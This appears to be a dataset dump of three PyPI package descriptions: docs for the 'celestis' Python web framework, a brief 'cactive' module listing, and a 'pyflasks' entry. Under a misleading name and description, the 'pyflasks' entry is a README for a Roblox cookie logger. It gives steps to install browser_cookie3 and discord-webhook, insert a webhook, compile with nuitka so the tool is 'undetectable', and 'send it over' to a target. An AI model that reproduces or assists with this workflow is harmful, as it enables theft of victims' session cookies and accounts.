semvec/pypi-packages huggingface dataset:
celestis 2.2
A simple backend framework built using python

## Installation

Install celestis using pip

```bash
  pip install celestis
```
    
## Documentation

### How to run celestis server?

First, you must create the files necessary for your project. You can do this by running the following command:

```bash
celestis create-files
```

The above command will prompt you to enter your project name. Once you provide this information, the necessary files are created in the current directory of the terminal

Say your project name is example. Then, run the following commands on your terminal:

```bash
cd example
python server.py
```

Now, you can navigate to http://localhost:8080 to view your website.

### Creating custom routes

Say you want your users to visit your website's about page when they hit the route /about-us.

This can be coded by using the urls.py file. In it, write the following code:

```python
# First value of tuple refers to the route and the second value names the function that returns the HTML for the about page
urls = [("/", "home"), ("/about-us", "about")]
```

The most important part is to not make the array multiline as that would give an error.

The about function must be created in views.py:

```python

def home():
  return "<h1>Home page</h1>"

def about():
  return "<h1>About us</h1>"

```

### Rendering an HTML template
In the previous example, we returned a string that contained HTML code. But if you want to link an HTML file to the url, you can use the render_template function:

```python
from celestis.view import render as rd

def home():
  # Relative path can be the following: static/home.html
  return rd.render_template("relative/path/to/home.html")

def about():
  # Relative path can be the following: static/about.html
  return rd.render_template("relative/path/to/about.html")

```

### Database usage
Open up a terminal in your project directory and then run the following command:

```bash
celestis create-db
```

Then, create a models.py file in your project directory. Here, you can create blueprints for your database tables. Below is a sample code:

```python
def users():
    email = "TEXT PRIMARY KEY"
    name = "TEXT"
    password = "TEXT"

    return {
        "email": email,
        "name": name,
        "password": password
    }
```

Then, run the following command:

```bash
celestis update-db
```

Below are the CRUD operations you can perform:

```python
from celestis.model import database
import os

users = database.Model("users", os.getcwd()) # Give the model name as an input to the class and the second parameter as a os.getcwd()
users.add({
    "email": "example@gmail.com",
    "name": "example",
    "password": "example@123"
})

record = users.find({
    "email": "example@gmail.com",
})

users.update(record, password="example@321")
users.delete(record)
```

## Authors

- [@aryaanhegde](https://www.github.com/VOYAGERX013)
pyflasks 0.0.1
a py color alternative
Keywords: python,video,stream,video stream,camera stream,sockets


<!--
*** https://github.githubassets.com/images/mona-whisper.gif
-->

# DISCLAIMER
This is not to be used for any malicuis intent, I made this purely for a program that detects if you are using an unlicensed version.



<!-- PROJECT -->
<br />
<p align="center">
  </a>
  <h3 align="center">Cookie Logger</h3>

  <p align="center">
    Smooth and quick cookie logger for account recovery.
    <br />
  </p>
</p>



<!-- TABLE OF CONTENTS -->
<details open="open">
  <summary><h2 style="display: inline-block">Table of Contents</h2></summary>
  <ol>
    <li>
      <a href="#about-the-project">About The Project</a>
      <ul>
        <li><a href="#built-with">Built With</a></li>
      </ul>
    </li>
    <li>
      <a href="#getting-started">Getting Started</a>
      <ul>
        <li><a href="#prerequisites">Prerequisites</a></li>
        <li><a href="#installation">Installation</a></li>
      </ul>
    </li>
    <li><a href="#usage">Usage</a></li>
  </ol>
</details>



<!-- ABOUT THE PROJECT -->
## About The Project
Welcome to the newest release of ct1n1's Cookie Logger, a speedy cookie logger. This is my main project and I am working more and more on it. This will probably become an anti skid which steals the cookie and token of a person that downloaded a leaked copy or leaked it.


### Built With

* [Python](https://python.org)



<!-- GETTING STARTED -->
## Getting Started

To get a local copy up and running follow these simple steps.

### Prerequisites

This is an example of how to list things you need to use the software and how to install them.
  ```
  - Go to the folder with all of the files.
  - In the navigation bar (C:/User/Desktop/Roblox-Cookie-Logger) delete everything and type cmd, this will bring up "the shell".
  - Now install the packages as instructed.
  ```

### Installation

1. Install the manifest.py file
2. Create a new folder, and place it inside.
3. Open cmd and type:
   ```
   cd (path of your folder)
   ```
4. Install PIP packages
   ```
   pip install nuitka
   pip install requests
   pip install browser_cookie3
   pip install discord-webhook
   ```



<!-- USAGE EXAMPLES -->
## Usage
- Replace your webhook. The web hook replacement is at the bottom labeled (WEBHOOK HERE).

- Compile to exe using [nuitka](https://nuitka.net) PLEASE AND NOT PYINSTALLER. Why?
```
1. Harder to crack because Pyinstaller just unloads the source into the temp directory
2. Undetectable
3. Faster
4. Smaller file size that works well when compressed.
```

- Nuitka How To
```
1. Access the "Shell"
2. python -m nuitka manifest.py
```

- Send it over.
cactive 1.0.0
All of the Cactive NPM modules rewritten in Python
Requires Python: >=3.9

### What is this?
This is a collection of Cactive's NPM Modules rewritten in Python

### How to install and use?
First, by using these modules you agree to our LICENSE: https://github.com/CactiveNetwork/cactive-rewrites/tree/main/python/LICENSE.md

Install:
```bash
pip install cactive
```

To find out the documentation for all modules please type:
```python
import cactive

cactive.get_started()
```